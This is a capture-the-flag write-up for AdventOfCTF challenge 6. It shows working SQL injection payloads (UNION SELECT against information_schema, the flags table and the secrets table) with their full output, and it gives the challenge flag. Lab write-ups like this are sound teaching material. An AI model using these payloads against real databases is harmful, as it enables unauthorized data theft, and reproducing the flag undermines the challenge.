20 KiB
+++ author = "Maik de Kruif" title = "Challenge 6 - AdventOfCTF" date = 2020-12-06T15:24:45+01:00 description = "A writeup for challenge 6 of AdventOfCTF." cover = "img/adventofctf/c366d63edd4a35c9f8bea89e57401fef.png" tags = [ "AdventOfCTF", "challenge", "ctf", "hacking", "writeup", "web", "sql-injection", ] categories = [ "ctf", "writeups", "hacking", ] +++
- Points: 600
Description
Search Santa's database of big secrets, you will probably find something useful.
Visit https://06.adventofctf.com to start the challenge.
Finding the vulnerability
When opening the challenge website, we see a search bar. The description mentions a database so the search text is probably converted to a database query. The header also mentions that only the first 5 characters of each secret is shown. Let's try searching for "flag". This returns a table with one row:
| id | Description | Proof |
|---|---|---|
| 3 | Adven-------- | FLAG ------- |
Now let's try entering a quote ('). Hmm, now we get an empty table. Let's try some text with a quote. Now we get a MySQL error:
Error description: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''%'' at line 1
This means we can probably do some SQL injection.
SQL Injection
As we can see the result of the query on the screen, it's a little easier that last time. Firstly, let's think of what the query might be. It could be something like this:
SELECT id, descr, proof FROM santabase WHERE descr LIKE '%search text%' OR proof LIKE '%search text%'
If this were the query, we could use a UNION SELECT to add our own query. Let's try getting the table names. I came up with the following query:
UNION SELECT table_name, 2, 3 FROM information_schema.tables
The 2 and 3 in the SELECT are a filler because our guessed query has three columns. The use this query we have to escape the string in the query first. To do this, I added a ' before our query and appended the symbols for a comment (--) at the end. This results in the following input: ' UNION SELECT table_name, 2, 3 FROM information_schema.tables -- . This way the query that will be executed becomes this:
SELECT id, descr, proof FROM santabase WHERE descr LIKE '%' UNION SELECT table_name, 2, 3 FROM information_schema.tables -- %' OR proof LIKE '%' UNION SELECT table_name, 2, 3 FROM information_schema.tables -- %'
As you can see the string is escaped and the result of this query will have the result of our query at the end.
When submitting it I got the following result:
{{< code language="text" title="Result" >}}
| id | Description | Proof |
| -------------------------------------------------- | ------------- | ------------ |
| 1 | Acces-------- | The a------- |
| 2 | KFC R-------- | The 1------- |
| 3 | Adven-------- | FLAG ------- |
| 4 | The d-------- | Do yo------- |
| ALL_PLUGINS | 2-------- | 3------- |
| APPLICABLE_ROLES | 2-------- | 3------- |
| CHARACTER_SETS | 2-------- | 3------- |
| CHECK_CONSTRAINTS | 2-------- | 3------- |
| COLLATIONS | 2-------- | 3------- |
| COLLATION_CHARACTER_SET_APPLICABILITY | 2-------- | 3------- |
| COLUMNS | 2-------- | 3------- |
| COLUMN_PRIVILEGES | 2-------- | 3------- |
| ENABLED_ROLES | 2-------- | 3------- |
| ENGINES | 2-------- | 3------- |
| EVENTS | 2-------- | 3------- |
| FILES | 2-------- | 3------- |
| GLOBAL_STATUS | 2-------- | 3------- |
| GLOBAL_VARIABLES | 2-------- | 3------- |
| KEY_CACHES | 2-------- | 3------- |
| KEY_COLUMN_USAGE | 2-------- | 3------- |
| PARAMETERS | 2-------- | 3------- |
| PARTITIONS | 2-------- | 3------- |
| PLUGINS | 2-------- | 3------- |
| PROCESSLIST | 2-------- | 3------- |
| PROFILING | 2-------- | 3------- |
| REFERENTIAL_CONSTRAINTS | 2-------- | 3------- |
| ROUTINES | 2-------- | 3------- |
| SCHEMATA | 2-------- | 3------- |
| SCHEMA_PRIVILEGES | 2-------- | 3------- |
| SESSION_STATUS | 2-------- | 3------- |
| SESSION_VARIABLES | 2-------- | 3------- |
| STATISTICS | 2-------- | 3------- |
| SYSTEM_VARIABLES | 2-------- | 3------- |
| TABLES | 2-------- | 3------- |
| TABLESPACES | 2-------- | 3------- |
| TABLE_CONSTRAINTS | 2-------- | 3------- |
| TABLE_PRIVILEGES | 2-------- | 3------- |
| TRIGGERS | 2-------- | 3------- |
| USER_PRIVILEGES | 2-------- | 3------- |
| VIEWS | 2-------- | 3------- |
| GEOMETRY_COLUMNS | 2-------- | 3------- |
| SPATIAL_REF_SYS | 2-------- | 3------- |
| CLIENT_STATISTICS | 2-------- | 3------- |
| INDEX_STATISTICS | 2-------- | 3------- |
| INNODB_SYS_DATAFILES | 2-------- | 3------- |
| USER_STATISTICS | 2-------- | 3------- |
| INNODB_SYS_TABLESTATS | 2-------- | 3------- |
| INNODB_LOCKS | 2-------- | 3------- |
| INNODB_MUTEXES | 2-------- | 3------- |
| INNODB_CMPMEM | 2-------- | 3------- |
| INNODB_CMP_PER_INDEX | 2-------- | 3------- |
| INNODB_CMP | 2-------- | 3------- |
| INNODB_FT_DELETED | 2-------- | 3------- |
| INNODB_CMP_RESET | 2-------- | 3------- |
| INNODB_LOCK_WAITS | 2-------- | 3------- |
| TABLE_STATISTICS | 2-------- | 3------- |
| INNODB_TABLESPACES_ENCRYPTION | 2-------- | 3------- |
| INNODB_BUFFER_PAGE_LRU | 2-------- | 3------- |
| INNODB_SYS_FIELDS | 2-------- | 3------- |
| INNODB_CMPMEM_RESET | 2-------- | 3------- |
| INNODB_SYS_COLUMNS | 2-------- | 3------- |
| INNODB_FT_INDEX_TABLE | 2-------- | 3------- |
| INNODB_CMP_PER_INDEX_RESET | 2-------- | 3------- |
| user_variables | 2-------- | 3------- |
| INNODB_FT_INDEX_CACHE | 2-------- | 3------- |
| INNODB_SYS_FOREIGN_COLS | 2-------- | 3------- |
| INNODB_FT_BEING_DELETED | 2-------- | 3------- |
| INNODB_BUFFER_POOL_STATS | 2-------- | 3------- |
| INNODB_TRX | 2-------- | 3------- |
| INNODB_SYS_FOREIGN | 2-------- | 3------- |
| INNODB_SYS_TABLES | 2-------- | 3------- |
| INNODB_FT_DEFAULT_STOPWORD | 2-------- | 3------- |
| INNODB_FT_CONFIG | 2-------- | 3------- |
| INNODB_BUFFER_PAGE | 2-------- | 3------- |
| INNODB_SYS_TABLESPACES | 2-------- | 3------- |
| INNODB_METRICS | 2-------- | 3------- |
| INNODB_SYS_INDEXES | 2-------- | 3------- |
| INNODB_SYS_VIRTUAL | 2-------- | 3------- |
| INNODB_TABLESPACES_SCRUBBING | 2-------- | 3------- |
| INNODB_SYS_SEMAPHORE_WAITS | 2-------- | 3------- |
| plugin | 2-------- | 3------- |
| db | 2-------- | 3------- |
| column_stats | 2-------- | 3------- |
| time_zone_name | 2-------- | 3------- |
| help_topic | 2-------- | 3------- |
| table_stats | 2-------- | 3------- |
| time_zone_transition | 2-------- | 3------- |
| user | 2-------- | 3------- |
| help_relation | 2-------- | 3------- |
| host | 2-------- | 3------- |
| index_stats | 2-------- | 3------- |
| slow_log | 2-------- | 3------- |
| tables_priv | 2-------- | 3------- |
| proxies_priv | 2-------- | 3------- |
| columns_priv | 2-------- | 3------- |
| event | 2-------- | 3------- |
| general_log | 2-------- | 3------- |
| innodb_index_stats | 2-------- | 3------- |
| time_zone_transition_type | 2-------- | 3------- |
| procs_priv | 2-------- | 3------- |
| time_zone_leap_second | 2-------- | 3------- |
| gtid_slave_pos | 2-------- | 3------- |
| innodb_table_stats | 2-------- | 3------- |
| time_zone | 2-------- | 3------- |
| help_keyword | 2-------- | 3------- |
| transaction_registry | 2-------- | 3------- |
| servers | 2-------- | 3------- |
| roles_mapping | 2-------- | 3------- |
| proc | 2-------- | 3------- |
| func | 2-------- | 3------- |
| help_category | 2-------- | 3------- |
| cond_instances | 2-------- | 3------- |
| events_waits_current | 2-------- | 3------- |
| events_waits_history | 2-------- | 3------- |
| events_waits_history_long | 2-------- | 3------- |
| events_waits_summary_by_host_by_event_name | 2-------- | 3------- |
| events_waits_summary_by_instance | 2-------- | 3------- |
| events_waits_summary_by_thread_by_event_name | 2-------- | 3------- |
| events_waits_summary_by_user_by_event_name | 2-------- | 3------- |
| events_waits_summary_by_account_by_event_name | 2-------- | 3------- |
| events_waits_summary_global_by_event_name | 2-------- | 3------- |
| file_instances | 2-------- | 3------- |
| file_summary_by_event_name | 2-------- | 3------- |
| file_summary_by_instance | 2-------- | 3------- |
| host_cache | 2-------- | 3------- |
| mutex_instances | 2-------- | 3------- |
| objects_summary_global_by_type | 2-------- | 3------- |
| performance_timers | 2-------- | 3------- |
| rwlock_instances | 2-------- | 3------- |
| setup_actors | 2-------- | 3------- |
| setup_consumers | 2-------- | 3------- |
| setup_instruments | 2-------- | 3------- |
| setup_objects | 2-------- | 3------- |
| setup_timers | 2-------- | 3------- |
| table_io_waits_summary_by_index_usage | 2-------- | 3------- |
| table_io_waits_summary_by_table | 2-------- | 3------- |
| table_lock_waits_summary_by_table | 2-------- | 3------- |
| threads | 2-------- | 3------- |
| events_stages_current | 2-------- | 3------- |
| events_stages_history | 2-------- | 3------- |
| events_stages_history_long | 2-------- | 3------- |
| events_stages_summary_by_thread_by_event_name | 2-------- | 3------- |
| events_stages_summary_by_account_by_event_name | 2-------- | 3------- |
| events_stages_summary_by_user_by_event_name | 2-------- | 3------- |
| events_stages_summary_by_host_by_event_name | 2-------- | 3------- |
| events_stages_summary_global_by_event_name | 2-------- | 3------- |
| events_statements_current | 2-------- | 3------- |
| events_statements_history | 2-------- | 3------- |
| events_statements_history_long | 2-------- | 3------- |
| events_statements_summary_by_thread_by_event_name | 2-------- | 3------- |
| events_statements_summary_by_account_by_event_name | 2-------- | 3------- |
| events_statements_summary_by_user_by_event_name | 2-------- | 3------- |
| events_statements_summary_by_host_by_event_name | 2-------- | 3------- |
| events_statements_summary_global_by_event_name | 2-------- | 3------- |
| events_statements_summary_by_digest | 2-------- | 3------- |
| users | 2-------- | 3------- |
| accounts | 2-------- | 3------- |
| hosts | 2-------- | 3------- |
| socket_instances | 2-------- | 3------- |
| socket_summary_by_instance | 2-------- | 3------- |
| socket_summary_by_event_name | 2-------- | 3------- |
| session_connect_attrs | 2-------- | 3------- |
| session_account_connect_attrs | 2-------- | 3------- |
| flags | 2-------- | 3------- |
| secrets | 2-------- | 3------- |
{{< /code >}}
Solution
The flags table at the bottom looks interesting. Let's grab it's contents. To get it's contents, I came up with the following query:
UNION SELECT (SELECT * FROM flags), 2, 3
This query also has to be converted to an input first. This will become ' UNION SELECT (SELECT * FROM flags), 2, 3 -- .
After submitting this input, I got the flag: NOVI{7h1s_flag_w@s_chuncky_right}.
*Note: this only works if a table has only one column, if it has more, you have to get the columns first. See the Getting the secrets for more info about that.
This flag can then be submitted for the challenge.
For more information about how SQL injection works, please read my previous post.
(Optional) Getting the secrets 😋
Because the secrets table a more than one column, we need to know the column names first. We can get them with the following query:
UNION SELECT column_name, 2, 3 FROM information_schema.columns WHERE table_name = "secrets"
Converted to an input: ' UNION SELECT column_name, 2, 3 FROM information_schema.columns WHERE table_name = "secrets" -- .
After remove the results from the original query, we get the following:
| id | Description | Proof |
|---|---|---|
| id | 2-------- | 3------- |
| description | 2-------- | 3------- |
| proof | 2-------- | 3------- |
We can then put these column names in our query:
UNION SELECT CONCAT(id, ":", description, ":", proof), 2, 3 FROM secrets
The CONCAT() here is to put our results into the first column as the other two column are hidden after the first five characters.
This query converts to ' UNION SELECT CONCAT(id, ":", description, ":", proof), 2, 3 FROM secrets -- as the input.
After parsing the output we get:
| id | Description | Proof |
|---|---|---|
| 1 | Access codes for Area 51 | The access code is 1234 |
| 2 | KFC Recipe | The 10 spices are in the diary on page 658 |
| 3 | Advent of Code | FLAG are such a good thing to find, but this is not it. I do really love that you are playing the game! Keep it up. |
| 4 | The door | Do you know where that one door leads? It leads to the basement! |